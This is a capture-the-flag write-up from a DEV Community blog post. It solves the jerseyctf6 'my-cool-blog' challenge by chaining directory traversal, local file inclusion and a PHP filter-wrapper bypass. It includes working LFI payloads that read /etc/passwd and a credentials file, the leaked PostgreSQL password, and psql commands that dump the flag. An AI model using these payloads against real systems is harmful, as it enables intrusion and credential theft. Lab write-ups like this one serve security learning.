DEV Community

David Disu
David Disu

Posted on

my-cool-blog - jerseyctf6

Challenge Overview

This challenge involves chaining multiple vulnerabilities — Directory Traversal, Local File Inclusion (LFI), and a PHP filter bypass — to extract database credentials and retrieve the flag directly from a PostgreSQL database.

Key concepts: LFI, Directory Traversal, PHP filter wrapper, Base64 bypass, PostgreSQL enumeration


Step 1 – Reconnaissance

The challenge URL exposes a suspicious file parameter:

http://my-cool-blog.aws.jerseyctf.com/view-post.php?file=posts/cool-post-1
Enter fullscreen mode Exit fullscreen mode

Landing page

Run an nmap scan to fingerprint the target:

nmap -sV my-cool-blog.aws.jerseyctf.com
Enter fullscreen mode Exit fullscreen mode

Target scan

Port Service Version
22 SSH OpenSSH 8.7
80 HTTP Apache 2.4.63 Ubuntu
5432 PostgreSQL DB 18.0–18.2

The infrastructure is hosted on AWS EC2, confirmed by the reverse DNS record. Port 5432 being publicly accessible is an immediate red flag.


Step 2 – Confirm LFI via Directory Traversal

Passing an invalid path to the file parameter triggers a verbose PHP error:

PHP error disclosure

This leaks two critical details — the app passes user input directly to file_get_contents(), and the absolute server path is /opt/server/. Verify LFI by reading /etc/passwd:

?file=../../../../etc/passwd
Enter fullscreen mode Exit fullscreen mode

LFI confirmed

Confirmed. We have LFI.


Step 3 – Enumerate the Source Code

Use the PHP Base64 filter wrapper to read view-post.php without the server executing it:

?file=php://filter/convert.base64-encode/resource=view-post.php
Enter fullscreen mode Exit fullscreen mode

Decoded source code

Decoding the Base64 output reveals two security checks:

  1. Directory block — blocks any input starting with includes
  2. Content filter — blocks any file whose contents contain the string pg_connect

The developer even Base64-encoded pg_connect within the source itself (cGdfY29ubmVjdA==) to obscure the check — a textbook security through obscurity mistake.


Step 4 – Bypass the Filters and Extract Credentials

Both filters collapse under the same PHP filter wrapper trick:

  • The includes/ block only checks if input starts with includesphp:// bypasses it entirely
  • The pg_connect content filter never fires because the file is Base64-encoded in memory before str_contains can inspect it

Winning payload:

?file=php://filter/convert.base64-encode/resource=includes/db.inc
Enter fullscreen mode Exit fullscreen mode

Decode the returned Base64 to reveal the PostgreSQL credentials:

host=my-cool-blog.aws.jerseyctf.com
dbname=blog
user=blog_web
password=oPPNQ9vkMdAJx
Enter fullscreen mode Exit fullscreen mode

Step 5 – Connect to PostgreSQL and Dump the Flag

Connect directly to the remote database:

psql -h my-cool-blog.aws.jerseyctf.com -U blog_web -d blog
Enter fullscreen mode Exit fullscreen mode

List the tables:

\dt
Enter fullscreen mode Exit fullscreen mode

Query the flag table:

SELECT * FROM flag;
Enter fullscreen mode Exit fullscreen mode

Flag retrieved


Flag

jctf{EgdbFYxQi4zmD5oovBpG7F5RJqRb7Tnd}
Enter fullscreen mode Exit fullscreen mode

Pwnsome References

Top comments (0)